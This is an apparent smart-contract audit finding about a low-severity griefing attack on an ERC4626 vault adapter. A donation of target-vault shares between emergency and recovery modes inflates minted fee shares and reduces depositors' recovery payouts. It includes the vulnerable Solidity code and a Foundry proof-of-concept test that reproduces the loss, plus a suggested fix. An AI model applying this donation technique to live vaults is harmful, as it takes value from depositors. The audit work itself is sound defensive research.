LOW severity: Griefing attack on depositors by manipulating the exchange rate during `recoveryMode` via a donation of `TARGET_VAULT`s shares in between `emergencyMode` and `recoveryMode`. **Description:** During the activation of the recovery mode is executed a call to harvest fees, which, in the scenario that it detects any profit since the last update to `lastTotalAssets` would mint more shares.
But, given the design of the system, where once the `recoveryMode` is enabled:
- It...

Vulnerable code:
function activateRecovery() external virtual onlyRole(EMERGENCY_ROLE) nonReentrant {
        if (recoveryMode) revert RecoveryModeAlreadyActive();
        if (!emergencyMode) revert EmergencyModeNotActive();

        //@audit => The donation of TARGET_VAULT shares causes more shares to be minted
        _harvestFees();

        uint256 actualBalance = IERC20(asset()).balanceOf(address(this));
        if (actualBalance == 0) revert InvalidRecoveryAssets(actualBalance);

        uint256 supply = totalSupply();
       ...

        recoveryAssets = actualBalance;
        recoverySupply = supply;
        recoveryMode = true;

        emit RecoveryModeActivated(actualBalance, supply, protocolBalance, implicitLoss);
    }

    function convertToAssets(uint256 shares) public view virtual override returns (uint256) {
        //@audit => exchange rate during recovery mode no longer considers the TARGET_VAULT's shares worth in underlying token.
        if (recoveryMode) {
            return shares.mulDiv(recoveryAssets, recoverySupply, Math.Rounding.Floor);
        }
        return super.convertToAssets(shares);
    }

// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;

import {Vault} from "src/Vault.sol";
import "./ERC4626AdapterTestBase.sol";

contract ERC4626AdapterPoCs is ERC4626AdapterTestBase {

    function test_PoC_manipulateShareRatioOnRecoveryMode() public {
        //@audit-info => The mitigation would be to swap `_harvestFees()` to `emergencyWithdraw()` and add a function to allow Governance withdrawing from vault once recoveryMode is enabled!
        uint256 depositAmount = 100e6;
        vault.setRewardFee(2000);

        vm.prank(alice);
        vault.deposit(depositAmount, alice);

        vault.emergencyWithdraw();
        assertEq(vault.totalAssets(),depositAmount);

        uint256 aliceAssetsDuringEmergency = vault.convertToAssets(vault.balanceOf(alice));
        assertEq(aliceAssetsDuringEmergency, depositAmount);

        uint256 snapshot = vm.snapshot();
        {
            //@audit-info => A donation to the LidoVault of TARGET_VAULT's shares
            vm.startPrank(bob);
            usdc.approve(address(targetVault), depositAmount);
            targetVault.deposit(depositAmount, address(vault));
            vm.stopPrank();

            vault.activateRecovery();
            assertEq(depositAmount, vault.recoveryAssets());

            //@audit => Manipulation -> depositor gets less assets that could've otherwise got
            uint256 aliceAssetsOnRecoveryMode = vault.convertToAssets(vault.balanceOf(alice));
            assertTrue(aliceAssetsDuringEmergency > aliceAssetsOnRecoveryMode);

            emit log_named_uint("aliceAssetsDuringEmergency: ", aliceAssetsDuringEmergency);
            emit log_named_uint("aliceAssetsOnRecoveryMode: ", aliceAssetsOnRecoveryMode);
        }

        vm.revertTo(snapshot);

        vault.activateRecovery();

        //@audit => No manipulation -> depositor gets the correct exchange rate during recoveryMode
        uint256 aliceAssetsOnRecoveryMode = vault.convertToAssets(vault.balanceOf(alice));
        assertEq(aliceAssetsOnRecoveryMode, aliceAssetsDuringEmergency);
    }
}